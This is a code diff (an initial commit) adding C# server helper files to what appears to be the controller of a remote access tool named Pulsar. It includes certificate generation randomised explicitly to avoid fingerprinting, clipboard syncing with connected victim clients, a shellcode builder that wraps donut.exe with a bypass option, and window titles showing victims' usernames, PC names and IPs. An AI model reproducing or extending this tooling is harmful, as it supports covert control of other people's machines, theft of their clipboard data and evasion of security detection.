initial commit
This commit is contained in:
@@ -0,0 +1,182 @@
|
||||
using Org.BouncyCastle.Asn1.X509;
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Generators;
|
||||
using Org.BouncyCastle.Crypto.Operators;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Crypto.Prng;
|
||||
using Org.BouncyCastle.Math;
|
||||
using Org.BouncyCastle.OpenSsl;
|
||||
using Org.BouncyCastle.Pkcs;
|
||||
using Org.BouncyCastle.Security;
|
||||
using Org.BouncyCastle.X509;
|
||||
using Org.BouncyCastle.X509.Extension;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public static class CertificateHelper
|
||||
{
|
||||
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength = 4096)
|
||||
{
|
||||
var random = new SecureRandom(new CryptoApiRandomGenerator());
|
||||
|
||||
var keyStrengths = new[] { 2048, 3072, 4096 };
|
||||
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
|
||||
|
||||
var keyPairGen = new RsaKeyPairGenerator();
|
||||
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
|
||||
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
|
||||
|
||||
var certificateGenerator = new X509V3CertificateGenerator();
|
||||
|
||||
var randomOrg = GenerateRandomString(random, 8, 15);
|
||||
var randomLocation = GenerateRandomString(random, 5, 12);
|
||||
var randomCountry = GenerateRandomCountryCode(random);
|
||||
|
||||
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
|
||||
var CN = new X509Name(subjectString);
|
||||
|
||||
var serialNumberBitLength = random.Next(120, 201);
|
||||
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
|
||||
|
||||
var validityYears = random.Next(5, 16);
|
||||
|
||||
var notBeforeOffsetDays = random.Next(1, 8);
|
||||
|
||||
certificateGenerator.SetSerialNumber(SN);
|
||||
certificateGenerator.SetSubjectDN(CN);
|
||||
certificateGenerator.SetIssuerDN(CN);
|
||||
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
|
||||
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
|
||||
certificateGenerator.SetPublicKey(keypair.Public);
|
||||
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
|
||||
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
|
||||
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
|
||||
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
|
||||
|
||||
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
|
||||
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
|
||||
|
||||
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
|
||||
|
||||
var certificate = certificateGenerator.Generate(signatureFactory);
|
||||
|
||||
// Create PKCS#12 (PFX) format with certificate and private key
|
||||
var store = new Pkcs12StoreBuilder().Build();
|
||||
var certificateEntry = new X509CertificateEntry(certificate);
|
||||
store.SetCertificateEntry(caName, certificateEntry);
|
||||
store.SetKeyEntry(caName, new AsymmetricKeyEntry(keypair.Private), new[] { certificateEntry });
|
||||
|
||||
// Convert to bytes
|
||||
using (var ms = new MemoryStream())
|
||||
{
|
||||
store.Save(ms, new char[0], random); // Empty password
|
||||
var pfxBytes = ms.ToArray();
|
||||
|
||||
// Create X509Certificate2 from PFX bytes using modern approach for .NET 9.0 AOT compatibility
|
||||
return X509CertificateLoader.LoadPkcs12(pfxBytes, null, X509KeyStorageFlags.Exportable);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Alternative method using PEM format for AOT compatibility
|
||||
/// </summary>
|
||||
public static X509Certificate2 CreateCertificateAuthorityFromPem(string caName, int keyStrength = 4096)
|
||||
{
|
||||
var random = new SecureRandom(new CryptoApiRandomGenerator());
|
||||
|
||||
var keyStrengths = new[] { 2048, 3072, 4096 };
|
||||
var randomKeyStrength = keyStrengths[random.Next(keyStrengths.Length)];
|
||||
|
||||
var keyPairGen = new RsaKeyPairGenerator();
|
||||
keyPairGen.Init(new KeyGenerationParameters(random, randomKeyStrength));
|
||||
AsymmetricCipherKeyPair keypair = keyPairGen.GenerateKeyPair();
|
||||
|
||||
var certificateGenerator = new X509V3CertificateGenerator();
|
||||
|
||||
var randomOrg = GenerateRandomString(random, 8, 15);
|
||||
var randomLocation = GenerateRandomString(random, 5, 12);
|
||||
var randomCountry = GenerateRandomCountryCode(random);
|
||||
|
||||
var subjectString = $"CN={caName}, O={randomOrg}, L={randomLocation}, C={randomCountry}";
|
||||
var CN = new X509Name(subjectString);
|
||||
|
||||
var serialNumberBitLength = random.Next(120, 201);
|
||||
var SN = BigInteger.ProbablePrime(serialNumberBitLength, random);
|
||||
|
||||
var validityYears = random.Next(5, 16);
|
||||
|
||||
var notBeforeOffsetDays = random.Next(1, 8);
|
||||
|
||||
certificateGenerator.SetSerialNumber(SN);
|
||||
certificateGenerator.SetSubjectDN(CN);
|
||||
certificateGenerator.SetIssuerDN(CN);
|
||||
certificateGenerator.SetNotAfter(DateTime.UtcNow.AddYears(validityYears));
|
||||
certificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(notBeforeOffsetDays, 0, 0, 0)));
|
||||
certificateGenerator.SetPublicKey(keypair.Public);
|
||||
certificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, false, new SubjectKeyIdentifierStructure(keypair.Public));
|
||||
certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(true));
|
||||
certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.KeyCertSign | KeyUsage.CrlSign));
|
||||
certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPServerAuth));
|
||||
|
||||
var signatureAlgorithms = new[] { "SHA256WITHRSA", "SHA384WITHRSA", "SHA512WITHRSA" };
|
||||
var randomSignatureAlgorithm = signatureAlgorithms[random.Next(signatureAlgorithms.Length)];
|
||||
|
||||
ISignatureFactory signatureFactory = new Asn1SignatureFactory(randomSignatureAlgorithm, keypair.Private, random);
|
||||
|
||||
var certificate = certificateGenerator.Generate(signatureFactory);
|
||||
|
||||
// Convert to PEM format
|
||||
string certPem, keyPem;
|
||||
|
||||
using (var certWriter = new StringWriter())
|
||||
{
|
||||
var pemWriter = new PemWriter(certWriter);
|
||||
pemWriter.WriteObject(certificate);
|
||||
certPem = certWriter.ToString();
|
||||
}
|
||||
|
||||
using (var keyWriter = new StringWriter())
|
||||
{
|
||||
var pemWriter = new PemWriter(keyWriter);
|
||||
pemWriter.WriteObject(keypair.Private);
|
||||
keyPem = keyWriter.ToString();
|
||||
}
|
||||
|
||||
// Create X509Certificate2 from PEM - this is AOT-compatible in .NET 9.0
|
||||
return X509Certificate2.CreateFromPem(certPem, keyPem);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generates a completely random string to avoid fingerprinting
|
||||
/// </summary>
|
||||
private static string GenerateRandomString(SecureRandom random, int minLength, int maxLength)
|
||||
{
|
||||
var length = random.Next(minLength, maxLength + 1);
|
||||
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
var result = new char[length];
|
||||
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
result[i] = chars[random.Next(chars.Length)];
|
||||
}
|
||||
|
||||
return new string(result);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generates a random 2-letter country code to avoid fingerprinting
|
||||
/// </summary>
|
||||
private static string GenerateRandomCountryCode(SecureRandom random)
|
||||
{
|
||||
var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
return new string(new char[] {
|
||||
chars[random.Next(chars.Length)],
|
||||
chars[random.Next(chars.Length)]
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Common.Messages.Monitoring.Clipboard;
|
||||
using Pulsar.Server.Networking;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public class ClipboardMonitor : NativeWindow, IDisposable
|
||||
{
|
||||
private const int WM_CLIPBOARDUPDATE = 0x031D;
|
||||
private Client _client;
|
||||
private string _lastClipboardText = string.Empty;
|
||||
private bool _isEnabled = false;
|
||||
private System.Threading.Timer _pollingTimer;
|
||||
|
||||
private static string _lastReceivedFromClient = string.Empty;
|
||||
private static DateTime _lastReceivedFromClientTime = DateTime.MinValue;
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern bool RemoveClipboardFormatListener(IntPtr hwnd);
|
||||
|
||||
public static void NotifyReceivedFromClient(string clipboardText)
|
||||
{
|
||||
_lastReceivedFromClient = clipboardText;
|
||||
_lastReceivedFromClientTime = DateTime.Now;
|
||||
}
|
||||
|
||||
public ClipboardMonitor(Client client)
|
||||
{
|
||||
_client = client;
|
||||
CreateHandle(new CreateParams());
|
||||
AddClipboardFormatListener(this.Handle);
|
||||
|
||||
_pollingTimer = new System.Threading.Timer(PollClipboard, null, Timeout.Infinite, Timeout.Infinite);
|
||||
}
|
||||
|
||||
public bool IsEnabled
|
||||
{
|
||||
get => _isEnabled;
|
||||
set
|
||||
{
|
||||
_isEnabled = value;
|
||||
|
||||
if (_isEnabled)
|
||||
{
|
||||
_pollingTimer.Change(0, 500);
|
||||
Debug.WriteLine("Clipboard polling timer started");
|
||||
}
|
||||
else
|
||||
{
|
||||
_pollingTimer.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
Debug.WriteLine("Clipboard polling timer stopped");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void WndProc(ref Message m)
|
||||
{
|
||||
if (m.Msg == WM_CLIPBOARDUPDATE && _isEnabled)
|
||||
{
|
||||
Task.Run(() => ClipboardCheck());
|
||||
}
|
||||
|
||||
base.WndProc(ref m);
|
||||
}
|
||||
|
||||
private void ClipboardCheck()
|
||||
{
|
||||
if (!_isEnabled) return;
|
||||
|
||||
try
|
||||
{
|
||||
if (Thread.CurrentThread.GetApartmentState() == ApartmentState.STA)
|
||||
{
|
||||
GetAndSendClipboardText();
|
||||
}
|
||||
else
|
||||
{
|
||||
var thread = new Thread(GetAndSendClipboardText);
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.Start();
|
||||
thread.Join(100);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Clipboard monitor error: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void GetAndSendClipboardText()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (Clipboard.ContainsText())
|
||||
{
|
||||
string clipboardText = Clipboard.GetText();
|
||||
|
||||
if (!string.IsNullOrEmpty(clipboardText) && clipboardText != _lastClipboardText)
|
||||
{
|
||||
bool wasRecentlyReceivedFromClient =
|
||||
_lastReceivedFromClient.Equals(clipboardText) &&
|
||||
(DateTime.Now - _lastReceivedFromClientTime).TotalSeconds < 3;
|
||||
|
||||
if (!wasRecentlyReceivedFromClient)
|
||||
{
|
||||
_lastClipboardText = clipboardText;
|
||||
Debug.WriteLine($"Sending clipboard text: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}...");
|
||||
_client.Send(new SendClipboardData { ClipboardText = clipboardText });
|
||||
}
|
||||
else
|
||||
{
|
||||
_lastClipboardText = clipboardText;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error getting clipboard text: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void PollClipboard(object state)
|
||||
{
|
||||
if (_isEnabled)
|
||||
{
|
||||
ClipboardCheck();
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
RemoveClipboardFormatListener(Handle);
|
||||
_pollingTimer?.Dispose();
|
||||
DestroyHandle();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using Pulsar.Server.Utilities;
|
||||
using System;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public static class NativeMethodsHelper
|
||||
{
|
||||
private const int LVM_FIRST = 0x1000;
|
||||
private const int LVM_SETITEMSTATE = LVM_FIRST + 43;
|
||||
|
||||
private const int WM_VSCROLL = 277;
|
||||
private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
|
||||
|
||||
public static int MakeWin32Long(short wLow, short wHigh)
|
||||
{
|
||||
return (int)wLow << 16 | (int)(short)wHigh;
|
||||
}
|
||||
|
||||
public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
|
||||
{
|
||||
NativeMethods.LVITEM lvItem = new NativeMethods.LVITEM
|
||||
{
|
||||
stateMask = mask,
|
||||
state = value
|
||||
};
|
||||
|
||||
NativeMethods.SendMessageListViewItem(handle, LVM_SETITEMSTATE, new IntPtr(itemIndex), ref lvItem);
|
||||
}
|
||||
|
||||
public static void ScrollToBottom(IntPtr handle)
|
||||
{
|
||||
NativeMethods.SendMessage(handle, WM_VSCROLL, SB_PAGEBOTTOM, IntPtr.Zero);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Pulsar.Server.Forms;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public enum EntropyLevel
|
||||
{
|
||||
None = 1,
|
||||
Random = 2,
|
||||
RandomSymmetric = 3
|
||||
}
|
||||
|
||||
public enum Architecture
|
||||
{
|
||||
x86 = 1,
|
||||
amd64 = 2,
|
||||
Both = 3
|
||||
}
|
||||
|
||||
public enum Format
|
||||
{
|
||||
Binary = 1,
|
||||
Base64 = 2,
|
||||
C = 3,
|
||||
Ruby = 4,
|
||||
Python = 5,
|
||||
Powershell = 6,
|
||||
CSharp = 7,
|
||||
Hex = 8
|
||||
}
|
||||
|
||||
public enum Compress
|
||||
{
|
||||
None = 1,
|
||||
aPLib = 2,
|
||||
LZNT1 = 3,
|
||||
Xpress = 4
|
||||
}
|
||||
|
||||
public enum Bypass
|
||||
{
|
||||
None = 1,
|
||||
Abort = 2,
|
||||
Continue = 3
|
||||
}
|
||||
|
||||
public enum Headers
|
||||
{
|
||||
Overwrite = 1,
|
||||
Keep = 2
|
||||
}
|
||||
|
||||
public static class ShellcodeBuilder
|
||||
{
|
||||
public static byte[] GenerateShellcode(
|
||||
string binaryPath,
|
||||
string entryClass,
|
||||
string entryMethod,
|
||||
string outputBinPath,
|
||||
bool deleteOutput = true,
|
||||
string donutExePath = "",
|
||||
string clrVersion = "",
|
||||
EntropyLevel entropy = EntropyLevel.RandomSymmetric,
|
||||
Architecture arch = Architecture.Both,
|
||||
Format format = Format.Binary,
|
||||
Headers headers = Headers.Overwrite
|
||||
)
|
||||
{
|
||||
if (string.IsNullOrEmpty(donutExePath))
|
||||
donutExePath = Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "donut.exe");
|
||||
|
||||
if (!File.Exists(donutExePath))
|
||||
throw new FileNotFoundException("donut.exe not found", donutExePath);
|
||||
|
||||
if (!File.Exists(binaryPath))
|
||||
throw new FileNotFoundException("Input Binary not found", binaryPath);
|
||||
|
||||
Compress compression = GetCompressionFromForm();
|
||||
Bypass bypass = GetBypassFromForm();
|
||||
|
||||
List<string> args = new List<string>
|
||||
{
|
||||
$"-e {(int)entropy}",
|
||||
$"-a {(int)arch}",
|
||||
$"-i {binaryPath}",
|
||||
$"-c {entryClass}",
|
||||
$"-m {entryMethod}",
|
||||
$"-o {outputBinPath}",
|
||||
$"-f {(int)format}",
|
||||
$"-z {(int)compression}",
|
||||
$"-b {(int)bypass}",
|
||||
$"-k {(int)headers}",
|
||||
};
|
||||
|
||||
if (!string.IsNullOrEmpty(clrVersion))
|
||||
args.Add($"-r {clrVersion}");
|
||||
|
||||
ProcessStartInfo psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = donutExePath,
|
||||
Arguments = string.Join(" ", args),
|
||||
RedirectStandardOutput = true,
|
||||
RedirectStandardError = true,
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
};
|
||||
|
||||
using (Process proc = Process.Start(psi))
|
||||
{
|
||||
proc.WaitForExit();
|
||||
if (proc.ExitCode != 0)
|
||||
{
|
||||
string stdout = proc.StandardOutput.ReadToEnd();
|
||||
string stderr = proc.StandardError.ReadToEnd();
|
||||
throw new InvalidOperationException($"Donut failed (exit {proc.ExitCode})\nSTDOUT: {stdout}\nSTDERR: {stderr}");
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
byte[] bytes = File.ReadAllBytes(outputBinPath);
|
||||
if (deleteOutput)
|
||||
File.Delete(outputBinPath);
|
||||
|
||||
return bytes;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
throw new InvalidOperationException($"Failed to read generated shellcode: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private static Compress GetCompressionFromForm()
|
||||
{
|
||||
FrmBuilder form = GetBuilderForm();
|
||||
string compressionText = form.comboBox1.Text;
|
||||
return ConvertCompressionTextToEnum(compressionText);
|
||||
}
|
||||
|
||||
private static Bypass GetBypassFromForm()
|
||||
{
|
||||
FrmBuilder form = GetBuilderForm();
|
||||
return form.checkBox2.Checked ? Bypass.Continue : Bypass.None;
|
||||
}
|
||||
|
||||
private static FrmBuilder GetBuilderForm()
|
||||
{
|
||||
foreach (Form form in Application.OpenForms)
|
||||
{
|
||||
if (form is FrmBuilder builderForm)
|
||||
return builderForm;
|
||||
}
|
||||
|
||||
throw new InvalidOperationException("FrmBuilder form not found or not accessible");
|
||||
}
|
||||
|
||||
private static Compress ConvertCompressionTextToEnum(string compressionText)
|
||||
{
|
||||
return compressionText switch
|
||||
{
|
||||
"None" => Compress.None,
|
||||
"aPLib" => Compress.aPLib,
|
||||
"LZNT1" => Compress.LZNT1,
|
||||
"Xpress" => Compress.Xpress,
|
||||
_ => throw new ArgumentException($"Invalid compression type: {compressionText}")
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
using Pulsar.Server.Networking;
|
||||
|
||||
namespace Pulsar.Server.Helper
|
||||
{
|
||||
public static class WindowHelper
|
||||
{
|
||||
public static string GetWindowTitle(string title, Client c)
|
||||
{
|
||||
return string.Format("{0} - {1}@{2} [{3}:{4}]", title, c.Value.Username, c.Value.PcName, c.Value.PublicIP ?? c.EndPoint.Address.ToString(), c.EndPoint.Port.ToString());
|
||||
}
|
||||
|
||||
public static string GetWindowTitle(string title, int count)
|
||||
{
|
||||
return string.Format("{0} [Selected: {1}]", title, count);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user